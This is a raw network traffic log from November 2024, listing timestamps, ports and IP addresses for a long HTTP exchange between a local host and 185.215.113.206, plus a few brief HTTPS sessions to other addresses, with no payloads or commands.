Nov 25, 2024 03:39:55.006541967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.006565094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.006599903 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.007337093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.007383108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.007411957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.007438898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.008220911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.008295059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.008403063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.008446932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.009080887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.009131908 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.009196997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.009269953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.009963989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.010055065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.010080099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.010114908 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.010850906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.010895014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.010957003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.010993958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.011745930 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.011823893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.011848927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.011884928 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.012617111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.012681961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.012746096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.012785912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.013499975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.013541937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.013581038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.013621092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.014369011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.014398098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.014440060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.015268087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.015330076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.015361071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.015399933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.016133070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.016182899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.016223907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.016278982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.016994953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.017059088 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.057214022 CET	443	49812	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:55.057241917 CET	443	49812	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:55.057301044 CET	49812	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:55.057332993 CET	443	49812	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:55.058224916 CET	443	49812	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:55.058284998 CET	49812	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:55.059472084 CET	49812	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:55.059495926 CET	443	49812	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:55.059506893 CET	49812	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:55.059536934 CET	49812	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:55.181694031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.181719065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.181768894 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.181792974 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.182120085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.182240009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.182249069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.182275057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.183034897 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.183195114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.183234930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.183891058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.184019089 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.184065104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.184950113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.184992075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.185091019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.185127020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.185643911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.185682058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.185746908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.185785055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.186515093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.186557055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.186619997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.186655045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.187391996 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.187444925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.187482119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.187520027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.188276052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.188385963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.188441038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.189162970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.189207077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.189240932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.189279079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.190045118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.190116882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.190205097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.190241098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.190916061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.190960884 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.191036940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.191075087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.191803932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.191921949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.191966057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.192687988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.192735910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.192769051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.192805052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.193562984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.193605900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.193660975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.193700075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.194438934 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.194484949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.194525957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.194561005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.195321083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.195362091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.195408106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.195445061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.196187973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.196305990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.196352005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.197083950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.197125912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.197186947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.197222948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.197989941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.198000908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.198030949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.198820114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.198860884 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.198930025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.198966026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.199719906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.199764013 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.199819088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.199855089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.200598955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.200772047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.200815916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.201483011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.201527119 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.201586962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.201626062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.202421904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.202475071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.202508926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.202549934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.203228951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.203269958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.203339100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.203377962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.204127073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.204224110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.204265118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.204993010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.205034018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.205070019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.205106020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.205871105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.205916882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.205971003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.206005096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.206732988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.206773043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.206846952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.206882954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.207627058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.207667112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.207732916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.207767010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.208506107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.208548069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.208609104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.208646059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.209392071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.209435940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.209441900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.209474087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.210295916 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.210357904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.210388899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.210427046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.211147070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.211257935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.211283922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.211299896 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.212023020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.212136030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.212181091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.212913990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.213068008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.213088989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.213104010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.213766098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.213850021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.213882923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.214066982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.214668989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.214728117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.214762926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.214802027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.215572119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.215622902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.215626955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.215666056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.216454029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.216562033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.216614008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.217314005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.217360973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.217448950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.217494011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.218183994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.218229055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.218291044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.218327999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.219091892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.219194889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.219193935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.219372034 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.219961882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.220062017 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.220104933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.220828056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.220880985 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.220942974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.220994949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.221687078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.221730947 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.221792936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.221832991 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.222594023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.222632885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.222687006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.222727060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.223469019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.223525047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.223560095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.223642111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.224358082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.224400997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.224421978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.224466085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.225250959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.225294113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.225337029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.225378036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.226109982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.226160049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.226207018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.226265907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.227025986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.227080107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.227108955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.227154016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.227804899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.227859974 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.300671101 CET	443	49817	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:55.301043034 CET	49817	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:55.301069021 CET	443	49817	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:55.302124977 CET	443	49817	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:55.302208900 CET	49817	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:55.303350925 CET	49817	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:55.303421021 CET	443	49817	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:55.303628922 CET	49817	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:55.303641081 CET	443	49817	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:55.303675890 CET	49817	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:55.303720951 CET	443	49817	20.42.73.30	192.168.2.8
Nov 25, 2024 03:39:55.347443104 CET	49817	443	192.168.2.8	20.42.73.30
Nov 25, 2024 03:39:55.360582113 CET	443	49818	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:55.360893965 CET	49818	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:55.360909939 CET	443	49818	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:55.361829996 CET	443	49818	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:55.361906052 CET	49818	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:55.363441944 CET	49818	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:55.363501072 CET	443	49818	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:55.363956928 CET	49818	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:55.363966942 CET	443	49818	23.96.180.189	192.168.2.8
Nov 25, 2024 03:39:55.392107010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.392174006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.392214060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.392370939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.392524004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.392570972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.392618895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.392664909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.393398046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.393440962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.393503904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.393688917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.394277096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.394318104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.394501925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.394550085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.395165920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.395226002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.395262003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.395297050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.396029949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.396099091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.396138906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.396174908 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.396945953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.396991968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.397020102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.397058964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.397793055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.397857904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.397917032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.397953033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.398684025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.398742914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.398780107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.398819923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.399552107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.399606943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.399653912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.399777889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.400435925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.400538921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.400588989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.401309967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.401366949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.401401997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.401437998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.402189970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.402244091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.402339935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.402393103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.403067112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.403124094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.403194904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.403333902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.403959990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.404027939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.404056072 CET	80	49748	185.215.113.206	192.168.2.8
